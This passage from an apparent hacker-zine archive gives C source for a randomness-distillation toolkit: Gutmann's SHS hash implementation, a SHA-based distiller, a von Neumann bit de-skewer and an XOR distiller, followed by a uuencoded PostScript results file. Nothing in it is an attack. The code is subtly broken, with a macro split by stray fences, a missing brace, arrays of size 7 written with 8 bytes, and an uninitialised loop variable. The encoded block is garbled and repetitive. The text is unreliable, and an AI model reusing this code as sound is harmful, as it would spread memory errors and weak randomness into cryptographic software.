    temp = S (5, A) + f3 (B, C, D) + E + W [count] + K3; \
    E = D; \
    D = C; \
    C = S (30, B); \
    B = A; \
    A = temp; \
}

#define subRound4(count)  \
{ \
    temp = S (5, A) + f4 (B, C, D) + E + W [count] + K4; \
    E = D; \
    D = C; \
    C = S (30, B); \
    B = A; \
}

```

```

        A = temp; \
    }

/* The two buffers of 5 32-bit words */

LONG h0, h1, h2, h3, h4;
LONG A, B, C, D, E;

local void byteReverse OF((LONG *buffer, int byteCount));
void shsTransform OF((SHS_INFO *shsInfo));

/* Initialize the SHS values */

void shsInit (shsInfo)
    SHS_INFO *shsInfo;
{
    /* Set the h-vars to their initial values */
    shsInfo->digest [0] = h0init;
    shsInfo->digest [1] = h1init;
    shsInfo->digest [2] = h2init;
    shsInfo->digest [3] = h3init;
    shsInfo->digest [4] = h4init;

    /* Initialise bit count */
    shsInfo->countLo = shsInfo->countHi = 0L;
}

/*
 * Perform the SHS transformation. Note that this code, like MD5, seems to
 * break some optimizing compilers - it may be necessary to split it into
 * sections, eg based on the four subrounds
 */

void shsTransform (shsInfo)
    SHS_INFO *shsInfo;
{
    LONG W [80], temp;
    int i;

    /* Step A.      Copy the data buffer into the local work buffer */
    for (i = 0; i < 16; i++)
        W [i] = shsInfo->data [i];

    /* Step B.      Expand the 16 words into 64 temporary data words */
    expand (16); expand (17); expand (18); expand (19); expand (20);
    expand (21); expand (22); expand (23); expand (24); expand (25);
    expand (26); expand (27); expand (28); expand (29); expand (30);
    expand (31); expand (32); expand (33); expand (34); expand (35);
    expand (36); expand (37); expand (38); expand (39); expand (40);
    expand (41); expand (42); expand (43); expand (44); expand (45);
    expand (46); expand (47); expand (48); expand (49); expand (50);
    expand (51); expand (52); expand (53); expand (54); expand (55);
    expand (56); expand (57); expand (58); expand (59); expand (60);
    expand (61); expand (62); expand (63); expand (64); expand (65);
    expand (66); expand (67); expand (68); expand (69); expand (70);
    expand (71); expand (72); expand (73); expand (74); expand (75);
    expand (76); expand (77); expand (78); expand (79);

    /* Step C.      Set up first buffer */
    A = shsInfo->digest [0];
    B = shsInfo->digest [1];
    C = shsInfo->digest [2];
    D = shsInfo->digest [3];

```

```

E = shsInfo->digest [4];

/* Step D.          Serious mangling, divided into four sub-rounds */
subRound1 (0); subRound1 (1); subRound1 (2); subRound1 (3);
subRound1 (4); subRound1 (5); subRound1 (6); subRound1 (7);
subRound1 (8); subRound1 (9); subRound1 (10); subRound1 (11);
subRound1 (12); subRound1 (13); subRound1 (14); subRound1 (15);
subRound1 (16); subRound1 (17); subRound1 (18); subRound1 (19);

subRound2 (20); subRound2 (21); subRound2 (22); subRound2 (23);
subRound2 (24); subRound2 (25); subRound2 (26); subRound2 (27);
subRound2 (28); subRound2 (29); subRound2 (30); subRound2 (31);
subRound2 (32); subRound2 (33); subRound2 (34); subRound2 (35);
subRound2 (36); subRound2 (37); subRound2 (38); subRound2 (39);

subRound3 (40); subRound3 (41); subRound3 (42); subRound3 (43);
subRound3 (44); subRound3 (45); subRound3 (46); subRound3 (47);
subRound3 (48); subRound3 (49); subRound3 (50); subRound3 (51);
subRound3 (52); subRound3 (53); subRound3 (54); subRound3 (55);
subRound3 (56); subRound3 (57); subRound3 (58); subRound3 (59);

subRound4 (60); subRound4 (61); subRound4 (62); subRound4 (63);
subRound4 (64); subRound4 (65); subRound4 (66); subRound4 (67);
subRound4 (68); subRound4 (69); subRound4 (70); subRound4 (71);
subRound4 (72); subRound4 (73); subRound4 (74); subRound4 (75);
subRound4 (76); subRound4 (77); subRound4 (78); subRound4 (79);

/* Step E.          Build message digest */
shsInfo->digest [0] += A;
shsInfo->digest [1] += B;
shsInfo->digest [2] += C;
shsInfo->digest [3] += D;
shsInfo->digest [4] += E;
}

local void byteReverse (buffer, byteCount)
    LONG *buffer;
    int byteCount;
{
    LONG value;
    int count;

    /*
     * Find out what the byte order is on this machine.
     * Big endian is for machines that place the most significant byte
     * first (eg. Sun SPARC). Little endian is for machines that place
     * the least significant byte first (eg. VAX).
     *
     * We figure out the byte order by stuffing a 2 byte string into a
     * short and examining the left byte. '@' = 0x40 and 'P' = 0x50
     * If the left byte is the 'high' byte, then it is 'big endian'.
     * If the left byte is the 'low' byte, then the machine is 'little
     * endian'.
     *
     *                                     -- Shawn A. Clifford (sac@eng.ufl.edu)
     */

    /*
     * Several bugs fixed                -- Pat Myrto (pat@rwing.uucp)
     */

    if ((* (unsigned short *) ("@P") >> 8) == '@')
        return;

```

```

        byteCount /= sizeof (LONG);
        for (count = 0; count < byteCount; count++) {
            value = (buffer [count] << 16) | (buffer [count] >> 16);
            buffer [count] = ((value & 0xFF00FF00L) >> 8) | ((value & 0x00FF
00FFL) << 8);
        }
    }

/*
 * Update SHS for a block of data. This code assumes that the buffer size is
 * a multiple of SHS_BLOCKSIZE bytes long, which makes the code a lot more
 * efficient since it does away with the need to handle partial blocks
 * between calls to shsUpdate()
 */

void shsUpdate (shsInfo, buffer, count)
    SHS_INFO *shsInfo;
    BYTE *buffer;
    int count;
{
    /* Update bitcount */
    if ((shsInfo->countLo + ((LONG) count << 3)) < shsInfo->countLo)
        shsInfo->countHi++; /* Carry from low to high bitCount */
    shsInfo->countLo += ((LONG) count << 3);
    shsInfo->countHi += ((LONG) count >> 29);

    /* Process data in SHS_BLOCKSIZE chunks */
    while (count >= SHS_BLOCKSIZE) {
        memcpy (shsInfo->data, buffer, SHS_BLOCKSIZE);
        byteReverse (shsInfo->data, SHS_BLOCKSIZE);
        shsTransform (shsInfo);
        buffer += SHS_BLOCKSIZE;
        count -= SHS_BLOCKSIZE;
    }

    /*
     * Handle any remaining bytes of data.
     * This should only happen once on the final lot of data
     */
    memcpy (shsInfo->data, buffer, count);
}

void shsFinal (shsInfo)
    SHS_INFO *shsInfo;
{
    int count;
    LONG lowBitcount = shsInfo->countLo, highBitcount = shsInfo->countHi;

    /* Compute number of bytes mod 64 */
    count = (int) ((shsInfo->countLo >> 3) & 0x3F);

    /*
     * Set the first char of padding to 0x80.
     * This is safe since there is always at least one byte free
     */
    ((BYTE *) shsInfo->data) [count++] = 0x80;

    /* Pad out to 56 mod 64 */
    if (count > 56) {
        /* Two lots of padding: Pad the first block to 64 bytes */
        memset ((BYTE *) shsInfo->data + count, 0, 64 - count);
        byteReverse (shsInfo->data, SHS_BLOCKSIZE);
    }
}

```



```

        shsTransform (shsInfo);

        /* Now fill the next block with 56 bytes */
        memset (shsInfo->data, 0, 56);
    } else
        /* Pad block to 56 bytes */
        memset ((BYTE *) shsInfo->data + count, 0, 56 - count);
    byteReverse (shsInfo->data, SHS_BLOCKSIZE);

    /* Append length in bits and transform */
    shsInfo->data [14] = highBitcount;
    shsInfo->data [15] = lowBitcount;

    shsTransform (shsInfo);
    byteReverse (shsInfo->data, SHS_DIGESTSIZE);
}
<-->
<++> bleach/sha/shs.h

/* ----- SHS.H ----- */

/*
 * NIST proposed Secure Hash Standard.
 *
 * Written 2 September 1992, Peter C. Gutmann.
 * This implementation placed in the public domain.
 *
 * Comments to pgut1@cs.aukuni.ac.nz
 */

/* Useful defines/typedefs */

#ifndef SHS_H
#define SHS_H

typedef unsigned char BYTE;
typedef unsigned long LONG;

/* The SHS block size and message digest sizes, in bytes */

#define SHS_BLOCKSIZE    64
#define SHS_DIGESTSIZE  20

/* The structure for storing SHS info */

typedef struct {
    LONG digest [5];          /* Message digest */
    LONG countLo, countHi;    /* 64-bit bit count */
    LONG data [16];           /* SHS data buffer */
} SHS_INFO;

/* Turn off prototypes if requested */
#if (defined(NOPROTO) && defined(PROTO))
#    undef PROTO
#endif

/* Used to remove arguments in function prototypes for non-ANSI C */
#ifndef PROTO
#    define OF(a) a
#else /* !PROTO */
#    define OF(a) ()
#endif /* ?PROTO */

```

```

#define local    static

void shsInit OF((SHS_INFO *shsInfo));
void shsUpdate OF((SHS_INFO *shsInfo, BYTE *buffer, int count));
void shsFinal OF((SHS_INFO *shsInfo));

#endif
<-->

<++> bleach/sha_distill.c
#include <stdio.h>
#include "sha/shs.h"

main ()
{
    SHS_INFO shsInfo;

    unsigned char c[20];

    while (fread(c, 1,20,stdin) == 20)
    {
        shsInit(&shsInfo);
        shsUpdate(&shsInfo,c,20);
        shsFinal(&shsInfo);
        fwrite(&shsInfo,1,20,stdout);
    }
}
<-->

<++> bleach/transmap.c
/*
    Implementation of von Neumann's transistion mapping scheme to de-skew
    a series of random bits. See 5.2.2 of RFC1750 for more information.
*/

#include <stdio.h>
char reconstruct_byte(char *byte_ary);
main ()
{
    char c, b1, b2, i, j;
    char byte[7];
    j=0;
    while ( !feof(stdin) )
    {
        fread(&c, 1,1,stdin);
        for (i=7; i>=0; i-=2)
        {
            b1=((c>>i)&1); /* integer representation of bit i */
            b2=((c>>(i-1))&1);
            if ( (b1==1) && (b2==0) ) /* translation of 10 */
            {
                byte[j]=1;
                j++;
            }
            if ( (b1==0) && (b2==1) ) /* translation of 01 */
            {
                byte[j]=0;
                j++;
            }
        }
        if (j>7)
        {
            putc(reconstruct_byte(byte),stdout);

```

```

        j=0;
    }
}
char reconstruct_byte(char *byte_ary)
{
    char i;
    char r = 0;
    for (i=0; i<=7; i++)
    {
        r<<=1;
        r|=byte_ary[i];
    }
    return r;
}
<-->

```

```

<+> bleach/xor_distill.c
/* Distills entropy from a stream of skewed random bits by XORing
   each bit in a byte against each other to obtain 1 output bit per
   input byte. 8 such bits are reconstructed into a byte.
*/

```

```

#include <stdio.h>
char reconstruct_byte(char *byte_ary);
char xor_bits(char c);
main ()
{
    char byte[7];
    char c[7];
    char i;
    while (fread(c,1,8,stdin) == 8)
    {
        for (i=0; i<=7; i++)
            byte[i]=xor_bits(c[i]);
        putc(reconstruct_byte(byte), stdout);
    }
}
char xor_bits(char c)
{
    char i, f;
    f=(c>>i)&1;
    for (i=6; i>=0; i--)
        f^=(c>>i)&1;
    return f;
}
char reconstruct_byte(char *byte_ary)
{
    char i;
    char r = 0;
    for (i=0; i<=7; i++)
    {
        r<<=1;
        r|=byte_ary[i];
    }
    return r;
}
<-->

```

----[Postscript file detailing empirical results

```

<+> bleach/random.ps.gz.uue
begin 644 random.ps.gz
M'XL("$L!\S4`W)A;F1O;2YP<P#$6UUSV\ :2?>>OF'U(R:J5*(+?3&YMK6);

```

MCNI:MLM2*MX*[\,0&)*(2`R`\'<30M_+?]W3W#\$!* ,ARG:FOCV"('P*"G^W3W
MZ9[1=___QX?;\,K\$+<S[H]CK???>R,+JtQ??J,L\WZ1\[71B,?M`KX[Y7T1"?
M7]FXVIJL?&=,8I*/QMFJB.GJTF:E^LEL'DR9QOK\1[M]U\$M<3\$W1#*N[=&L<
M7\1<_RD/W>ZW"[OQES[:K<YP[766O+1;>I/#MQ_*LT^%'9C5YV+1:+^K19I
MEJCS\$+6?]<?.1:9P)3.[7)=KNI!T+M[2T";-3&G]R`V-;.U#,_*21N*J.!CZ
M^!9#Q?%S'VGHZ,';.PRYM=V%[S21*PM[;\+(AWKD0*@WMQA=.?T0;GM#<Z*
MXZ#\9NSR?^AA4ZX*O?>#EY]<K#<&XY.^BGJ]GDK2!W_MU?O;UW<_XX4=Q?^%
M>Y,J5_S)CT<T)RTMUKD?&H:A79J4Z\?W_6;3[/#&;5H:Z`8___.BO_U()NI!H
MM^X\$85Z^O?[PX_M/7IP,C_85++C!C]CF>W6#D4A&S!_Q.@R_E6^YS9L1?%)
M^,I;%6^L\$W7&FS3O!,T4)DGC\$C!5_),1\>E`&_[Z@K#D!WG"]A'/M\$C<H&&
M\#?-5JP1%L=5BX.K&Y.M<('4W^,!34`(\V:)%^OJ^MVKJ_?O[KP<_U9+H)5A
M_R>>LGEN\$G_AXL`!#N]*EWZJ#^^OW]W=OKQ\^UHF;'P,&?B3?T+T?W3KX\M`
M2KABRH/QO!>I?P!6!G_&X<=_B2[S7A_7EO+'_VBN#=0_ELL(?V;+I?)07QO2
MM67\=_Z&.:(>WCWD5QK_HWYWU&>9QR1Q^%??8[EF(I7_\$*[U([I&DT5TC3_X
M:Z]>PW"LO-L:08#8%305Y=&4WJ,N'D6[VM31M\$O7']FK`9>?:)23`]-\$(4XV
M,_3^T@R]IZ)\LQ28H__E.?I_:8Y^/4<3W[]YDF&]&)\0OG4E@T=2B"=]JQB#
MVBK/S_)%R_S)_W+F\IG*YZU;4U8YOEQG:9*3,B9SZ;,+][F(?+U.;YXQU`J
M?>X64?Q79I`,W3GP\$%ET6":Q!9`%#=5Y&P-RD3,>],PC]+F.NCYW=7HJXJPV
M`>?GJJSB=-K/1-;H:<H1W8>N:4/;9TWMYVL\$PW&`S6;C&;JIO/B_:+4:8:8
MKNZ*RJ B/.DOL5OV8ED[93!=L\$E:[M6'E^Y4C2:3H?K4>?.1)@IB#0A@ZKS/
M7QKAZO?TIWC/!%_D\UN%">IM7>8?`]7<4NO>KJLVCV/EM6?#O&ZT7!"RUI`
MXG65)5K=@"[IC9J_R.E[:OZ[<KH+"C,_/57]:>37(R:Z*W2Z`:`.K.`Y1X<2
M68[!VIA]U?[\QORJS?K/+FXPF8W4;#H<TN*N,Y"GI(K+U&:G:M;;R1J>SC5X
M=J[])J*=F_>F8IRK56CNE-SN]=Z`!)E-:Y85=;,Q6@=.M3&8*71I5\$CH*0<?"
MHT.#BVSS"L0'3\>Z<D;->P>#J5.G:CR8C9_*UP@`V)`@:;8V!4RUV2O,FQ@\
MOP4N'=Q7;76\!CJZZHVUB<J=J1)[[F7]JNT"K_)RIB359F6+==XIUUNG?OWG
MNY^GT;^P2!CC5\$UZO4F+,,--9Q`IF/>2L8Y,HL-M"E6NC]D87[DSAQ1`IVRN[
MI.&MVJ<&L1UW[=6*)/2B)2FQI4550AB;X4%\5&D&GIV8(B/5U/[7AIQG1>B
M3W)1315(S,O\$=\$]>@U\$ (ME>9+1N+BD@FL]5JW84+])T>CMG<.1HR+*RM+SJLB
M![%TLE88M#"Y+<HS=:UV*5@JH`W+P&+._%Z9+9TH]@S\$J')!1FA@R7JS&0R<
M+ADC&QA9M-!KDRB:,\$#N,[O;F&3%;!X=5Z8A]16KGD=YJ_G/;J=5N+VKH2M
M8IV1>A9FWE\$`;\$ (@SST+ABR3P:!*E@D\D&39K77)DV;FCS)`D/6Q`\$KO2\$_X
M?[N7Y0+#+>;41<"ZA5]%)9ISKJNNE<G8[[]2^Y2>#*.-^JRB0A43QP,>T\Q<?
MW[V9GZH=_ (A69:L2L%\$3M85@).[>B5-BQ.8A?(%X\$#P&>%+@\$J+4`\$Y%<Q0.
M]" +=4!J`7+-I&X`F8S!/R.6US@I`O(!B&,#(@?4KNZ.N@K+,\$8+9NO"M5?H`
M`W2:S\$EC\TZB2TT/8UH\$9\$KK&)\249B->=!9R>X-^MHBV[#/X"8C((<WX`8I
MD'M&>"69EWI+L") (5%NXCX&O014[0[!#7:OAP=F]V9.2%QJK(O?&:+G/S:Z@
M.E!M;+8B-\$V>)"<V-./TA(UM\TSAU8PA@Y67%:^.M`"8LE@[6]RS']ZN];UQ
M.8(1P`9-@4HC%="`+8E6->\4#E]VE`UR`UQK;U`RWK#5>+T1X_LXJ%(HL"*
M!P:28K4I?2@LUQ"P>5GYV*!X=M[96`L/M0&9ELI\$Y]02'M%E]^`W*6D`\4])
MHH+MC7:L=F<,O2@[4\L"C"H.12E\DKR3V?/"2(-G[)6A?S0)`M.%8GEP\$EF
M&[>%Y3\$D9L\+MCG(C#X4==4_\$7X(*0-E@H4Q)642+UC'/HM?3]Q\#R3G,"!
M\$R#.0XVFMQ*7^FTB#6<,[!#(&.<B<COE!)3C@X`7EFG6W55758&1`H#!=Y\H
M_/V(D9SKZ<.`@=K:6KU=0@DMQ.L`TII5KG4E`+6E2:+7U:A3\$3CL60)<T(
M]V?BD0",*VLZ@>A%#`. *F`=H:6E6FA7%_:4]F`?JY1C5EE(0HACF]-`S-\$+6
M![\$]\$&M=<);8(J[")4MHEM-/6\$O_5`W`DVD+!^L]Y6"C(7+[.!J/2(X!IH@&
M;3,\P^)&H_X7@FOW0%*^@#VBP)J(^W\$E&;[O58_&\T&[&<.825>`X55AB#-
M>HTM8BQ0Q?I-2=\@T@C=/SM".*<XHC2UJ6BT"\$U00,A5X,\$\$\$&AF"E`@2PM#
MGC]\9LV-1)-17^A/1ER7WDU1=FEV*@&UZ:(XD90E?@:<-_2T,20\J3"2Z0DG
MD&7>65/'R%;\$&(#WN-CGF)TC45O&9843:O`:1]BE:\$L.AW431`(-J>DB:#IX
MGBF%^)" /B2H0IG064T3@J4"98_H4E8R8E%>H-+DE#:>SMH\?S28LHL!G^0<
M^D`YP><N#3Q.DO!T\$11-0DZPH@8B-SP]1_S3HZ)0@1CR[OT,SDN>=>H+<N.
MHAEC4B,LG9,M.`%3<E2Q*:C:!"&XX<C!;4>ZL\NEZ,;+`. *Z5[FQE/PY+%`!
MUJDS8`X]6T0*TL^HUPJB7N^`0YM`WY&K#I='*UM*&"21(O@FQ[U[8W)WH`&]
M-!(&%\BQCQ5'(E.D;JTPAM,^@YIR/\$_,(2ZW(&W+:@.L%L3:+6D#BZRE9J&1
M\@DU\$#;AH+1C`O`CPKI#SH<`&UVLC`\%,#%+TTK6AN,!0UKXV,*P`V-]*;D+
MEG-0RSVD!9(1>5`*/JF)XB#,*%V6.K[W"1?O!.LU6POM[/G>G<X!=^1[=CZ2
MI]^&YN%PU),@A"6<T0RL)TH5<4E>85>%AGMLTGLCG,@L`&[<^1;5L2HS45\$
MDYS(@>O#4:FT).I@M\9[(Y`LUMH#?`%XB)XNK:`-^P/R5CSP"V&6TTOJ[L6<
M%`-96>+G\$&X`-9-\$@7H_GXO8?<\$-O`,[620%M<!6IFWU]6#28Q,O--D4<VTU
MU:R:^^,!_9`JE*:%7Y9&P_[AB7R]=WRWEX_"U<.\@W*@JVYI77Z<U#ENU<ZH
MWPO@+P6B@#E*6D%;Y:1\$>&-2Y`5*%!1`%:FH3+=B\),U_/*\$%(B49,#`B)R`
M?V_`Kfy+J;G026I92JXO9ZUT;C`8L(TE7R&%,N2T3`5&CK9EOLJ2<LW_42?0

MRDH?K(!<I7*:Z\$#A21Y\H.F6S\$)_4+LU'(%T)%R_IA\$G&G+'`ER#3Z5@N#&JM>[)^*%GK-YZQ=J'FSFL+4^Z,#S"DIUQ:\$*&V*G=\$OY+T(4U09E".:35;?S9FM4.>Z`&K(F0DFLKHN%W!UE)#D[DW#[PDB<0"K%B75*MPUZ4)#UTLO(I439'S(M,IRT6:L_F3"<DW2YI'X1+\$8TS:PT:4JTX-M%GL/BU:I'1C@+]>SQL^!Q*:F'MGO;E:6AZ(1->4H:)VF)H?S3K/9((:OYL"DM3H1(B<D#)PU)]23Y+96.J'9>@MGI<31A!<AE%KP=CO1XR-R\RSB8.\$L#7EVC+]?<J"* (2DG&R%(WRF88@&TL:2M<,U/'8-<>GVI((>365MLZ?<&#`S]H#=@-&S)%5[F6R!AF`QKEA3"20HMC;+,MIBCE\$-%C<BYNW6@JQZ"F!;5#0F^F;D!J<IU!&S:BZ7`LKE,K0#R'RDS D]+: \M'!'LN+6J3,K*C345T6MDY@<JCCB`AZR+>3>^WT;?[,+%%7YJHE2N%(HA\$1IEM)N)\0H4#U('`\$"8?EJG?4ZG)1U.M[<9B!0Y90.(K9@B1<YN_8ZRQW\AL*J\$&0M['KY>H4/9Q1^P.L[_F;NAS*9&XYG? [<%/E"#_Y,6>\$O;>BH\$@:E*!L.4@A)-MN\U&;X_Q(T)*R=3EJY=4'8E*\$`S"2KE+:%O"S''`%_+2KI,L`[!\$9*[DA("W* MUJP_&X)]/0D\$'-6LKNDBEQ95B^A=R(`(A4!^3AF72[;OA;Q0?4518]Y!`\$*\MK@<D]U.?Z[EJL9%G..\$XP3T\$)TTT+M66DB4#,FA:[R+BF3F6FTFOOD:/U4GRMG*(.:BTD9Y\$0CLM,7=VHLJ)00_^RG6AYZW1%;88\$]J!;SU4\$QGSSTV=J71(-ME6ZZYG9)&N-VZI-^H*Z6"6-I:"Q[5U-?[6R!ES%P?&HZ\$,E/R?F)NXV>^4;CM\$&\$&[J'YX5#=#29=96)LJB-])RZF)>U868Z\$=KA(W)_@PO;MT0Z@&BNC?^M?O&;8:H@D?2<&P%MM^ZI[O_6SL)A>YFRNPVSUYL`U.HK4CJ(Y/-*8A![-J%;MC(ME*GL&LE7\$D8DJ<*%JM6V]VAY2'1).^XY(:"XW1L\$K_'9*S4&:TNCNB\$NPM-25*2!<Y8T?8(WLB+())T8TG24R8=4K:9M?9*?3,9%4F^]@]*N*&T7'*I0A>PMR&4I\MS*<F,*X,S[O<1U74-)#[*DM!KP,\HP\$K^X.]*`*T,SN4#Y]2#+U0>-MNQ#OQ.>I)/-<G_>TD]#)/6@,IK\$3&HM19QH9Z3'*7Z.V=!H:R0#*1DQ/53SSMBGH/B;/R+&H+9*'5^OKW*LT9;NRF7J'"\$<*D!YBD:P^Z2(G`W3\$AQ\$W</"B%M#,T[34/(!T<F.ZW-3-]CY0A]"%^O.^X*V6*KPR[&,;.M#5`C4*M7-#;08+19MX\$M;0#DR"1F]=;<N-^AOZ"4Z\$%^?Z^4=O@?S\?KV96!;6'6@R'6-]TK\$.W'JM<I.O:1>WN7G^@ER,FRW3UG9"Z\$;V\$=?'"`.=%E66AQ_(VS:H_+FAR[7DFNPIO MRGF^&(2J:\$OF)HT+2Y:&U\!<T/"M;.#QCG(;]D(GD]P+;Z\$*25!?!L[<ZUI,(M.TVM_XS96S0^YX!%-TBLA].&^>=^M8T\[F,^W-M'830Q+RMLHMYM=-<\$`M"C3;U17W.;K@&[X\6:/X-GYGKDCI,!QE1K:H3^AX&E&BT#NE*]!!;!)F\Q*M\$&UM&?H^O=Z8&\$B[*=J.FT#?^CID3?Y2"G!TY&8C_WQMRI9!;L_WML[]@KNMY#L?CP%P\UVKKE:6XR^JW?<,*D%RG5\#WKYZZOKU[/IOY`"OYR*!R.DT3"=MU[+LO\`WRI(J%6)-Y.].6B8EV+#S@9,A3&3N5`W&X];.EN_[8:8L82;'T_@=M1^#^W/U>D0YI_,DN,:8??O\$4Q;"/LB?,+YY46X00"R^4PQH?B-M56Z#NP^@,MO*!WLR;219./6KM@ODL8/_.)6S_CT)@4,>`OM-9NGT^6ZM?;VSL8SV/^*7@NM72IN=:P+XR.[-W>=/NGQ):Z*KX>J2VASJT@]H<V<--_9N\L;J.J=+78H<,#WMWIF2<@@;YX[:<4RPSM1E;"O"AN=>X`#Q#T23>\,V0(1.X;HL\^`O+G:[71?%MAMYVJ]3BTP5_N4!-<B?I-ZR1UN3W=WY,[9FZT=MM)7GQI2D,<W1<\!R5ZKOHMK[0':3.M\VFQH\DYTO5D6]L2<C*A`><'="<K2S=NAC\70;F':1%V@4/<8EZMG<2I6C?F0H,0[*<,V5Y:'4NC2Y38KC[-X0M[7K-D.NG]>44U.SZ4QU#>.1<@M"VCP496]R/-7>H,QPA*4@['GAJ8^FJ\6?J@M0*V+\$*#K5_@L2N^N:@FNYIVKMNU\`KBOMV-^O_%E7WKEL[:#Z[N!=8!NA5_,+IH\$O6_E&CEZ8`[+GZR21KJ8JM3-U12NM\WI\$N%2F?&R+]B:_WA.DTX%+?R2I[E!`3P^Z*1@H##W0!DO&^UQG M)%\$IVW:TA29[0EYG\TX6I[Z,"3L-E/%;C^6\$IN`Q!W/^=(G@E)K=3Q(6A<?*M,R!)0\$+2%/>4,P)T:&HJ:J.IH-X,DT\,<Y<+]?)-NB,GNJ[[6B!\3U*AH?4M[&HP2<.+^KL/P:OP?I"Q.B@QN'6?!Z@M4OJ&X7D>Q;8S(R1S2[+V8"]H*(=MGR;%A=S+>8DI"?4*N:`+H<=7;QP9NZI>[%+=W=`FI'V.LJAB;LF>2\$C`_\#@MDZ90"8?:B-(T'N-'`_2&=T`L1R.\$^MRF&6=C-7B%N73LNY9M#8K0)O05B?8RM\%DL#BW\E>P`<&0IX0EV`F8WE'\8X/XDDHZIM8[DLB<!YQWINB72QF`[^OJ2M6^RM,HW'`/C")B0'3:\$ (P25A27>8SM(LV(RS[:C?YJY1?UJ7\T?%B<_)S13MAF!,OV%4\;TU4UHY=.1EO=(_0<CX&X(8!%Q4TB',B\._0<5MO\)70WZ1=6MN+=;6*\YMZ;F#PG\$Q#;FE082XSEW<[PTXPW\]2S\$3?7MO)-FB!F?C7I]<]UTM\3FLA@,:W][E'`KA_U.7LW:*)[T-VKZI8O(. /ISA#Q?Z7'!D8*F`)111"RT8M[\55'Z9CW1+=;C^CZ_N;WLC\JT9/K'%47>W\5D>P)T%TV&O-M;.`\$"(2ETY(M;!XUB1BG.T^8FP80R@>S6=;5SU%/\$P\$GH[W?LFX\$4%&9KZF\$^ZI+ACYFFM\$&M3>XQ]NCE%,FBBRG>C41>&,0E3&[5;[0GCA)Z4ZWJGAD?@-C19@OML\$KG^K".M'+36#Z%_V;P[K'B#<M')4FFA9TTRX78OJ0-6M[P'U1R6<P1*<>\$!<\$"@=\WVM.7GPJ/UH<KUI>J@*T(OS%27S8]/MJ->&-RJ\,K1K=GK/H(B&;4:8#H1F7,E1M`*2JD"CU/>:\EE.)^;G#`HT3(Q]F,O*0P`A7TA_%W0^462M3;Y/V&+.1/Z.`M*J%UZ9&0#1&'3GOJYLPAG7:Q01`O5LC\&Y#`4.EN#6UV808M!Y0Q&9^9\$."3MA"2?G('UQTI:S]Q,9K()&=:^K/5%6D!J`XO@<W7ZN5/CDK!\$V*"3[I"4`K!VMQ_4N6!#,<7.TC<A/IL*(/)ZZL]D,0'TP&\XT=#8[DZ,=>DLUPN&I>3\$PG67CMS'="UT["J*_NQ/J\$9I)DV*J9L5`A\$ L-OMH;C&'SPJZX\\$13.`<J:IG)Q?O-JM1%3H]J=+VAVZ/&A3P%P);"V_`^NWZR;3U@._0R%"3N]!L4YRQ,P\`-YD[.ZDU

MG')E(6XCH&[";8\$B:A[:BBMT6\$\$WLG8@9;1)3Y>&]27EKQ?VMK![[@L1@O/+
MD3PFH[Y7"Q6Y/(UY->:\`GFXA[;\$DB94/,CYV&2;*I'#(^EZ*M60:5*&-X
M:U9ZL2^EUB.JQ6P4,X1S['RQ.690%_QK''P&@R'OCT&Q(H!XE!2)/W'C5^'/
MOGWU.-)X*I'O"B*RHX73!YX>X8#LXH2ZVVGI'1QS8I?_;WKLVMW%DB;9?[B?\
MBKIQH Z>M&8E.O\$%[/!'R0VZ?XU=8[G,\8?I.0&2!1)L\$. '!H6=VWSV^_F5FO
MS'JA`!2W06CM=DL@4+4J'WME9E5!+#-;+>R71M)),;V>;]XS7S8()#GEXCJ\
M2O(\FH<GM2M7NZR*<SD:9L/-)OH.9GH':I6[A?C,C+*)_/^OLN?83'4_'=
MNJ2C]-\Y_1!]S3R[3A_&=S3BRK[JZJH-R[YOU_2?/_WX=IF2HW\WD8XLFOX\
M"*>Z6B;UTIS4K1[]*^=X815_K]K<4+&79<UE7;M@G;Z-KK[4WCB.___%3>G4X
M6O;&5X>C>R6YJ[SFIGIDYV+S49[Y,Y;FIG>WTZGXP0,]/1T1750>V_LHG_Y=/:
MC\$+I5<YH((B&(2UC]\P.01H0+Z=RLYC-O&AK.SZ\M?^<Q.IFOP^S7.ERJ-HI
M0,F_->3)+-%/7,WUJ/8C*8>\:1A=/K\+?YNDEA[/^I-=+;MU?ZN70REGG)..4
M.5=\R&X@QZL(TT&UESXGPT'TKUFR.Y@V,Y+OACL7AJ.30/N5*'OUL[ZYXQNW
MT=7:J##QVC:[*QE5.[Z\9.Y4FU^JX%_!RE]=MW?K8N"97536SD?Q/V=Z&=A)
M,%VJ1OO_V7R/[&:J!]=5/' ;J2?M-J-=XFMSO)S>L-4W_9W%#O3(:1])^TJT^R
M?PKZ\TC/_U\$!E/?7('U?[Y6\&(_LJU_,F'DYW9C?8C)_TQGVYF\$6#/32+/H5
M!':PF8S&P6^TTJ=H/YN7YE_'OC'_ZQ>_)U_7#ZLS#\IM'(ZD)5>,='SO\><
M^^7]/P/[66>V<ZB:S;_'U04X<">%4_@&#IP8#M_'@9/#X1LX<'(X?', '3@Z'
M';^#'R>'P#1PX.1R^@0,GA\,W<. #D<,_U]ZV;[- '*W\$N#`G10.W\!"D\ /A&SAP
M<CA\`P=. #H=OX,#)X?'-'#@Y'+Z!'R>'PS=PX.1P^'8.G!P.W\!"D\ /A&SAP
M<CA\`P=. #H=OX,#)X?'-'#@Y'+Z!'R>'PS=PX.1P^'8.G!P.W\!"D\ /A&SAP
M<CA\`P=. #H=OX,#)X?'-'#@Y'+Z!'R>'PS=PX.1P^'8.G!P.W\!"D\ /A&SAP
M<CA\`P=. #H=OX,#)X?'-'#@Y'+Z!'R>'PS=PX.1P^'8.G!P.W\!"D\ /A&SAP
M<CA\`P=. #H=OX,#)X?'-'#@Y'+Z!'R>'PS=PX.1P^'8.G!P.W\!"D\ /A&SAP
M<CA\`P=. #H=OX,#)X?'-'#@Y7.);_U_FS//'-'+A#<;%076M3MTXX?';'[E!<
MY%LD6O+_ _L`W<..`Q;GK27P#!^YQ<8U\ZV9A]VE\$;B7'@3LI' / , , . ! R.' P#
M!TX.Y]T/X/HD.'"/BHNO3\ :G9MQ_`P?N,7%\OP0<. #D<OH\$#)X?#-W#@Y' #X
M!@Z<' '[?P(&3P^\$;..'!R.'P#!TX.AV_@P,GA\`T<. #D<OH\$#)X?#-W#@Y' #X
M!@Z<' '[?P(&3P^\$;..'!R.'P#!TX.AV_@P,GA\`T<. #D<OH\$#)X?#-W#@Y' #X
M!@Z<' '[?P(&3P^\$;..'!R.'P#!TX.AV_@P,GA\`T<. #D<OH\$#)X?S?(N?-U4>
M^'8.W*\$XUS>>CP,.W./B\`T<. #D<OH\$#)X?+G[_Q/&%PX.2N3S*_`@0.' ; ^#
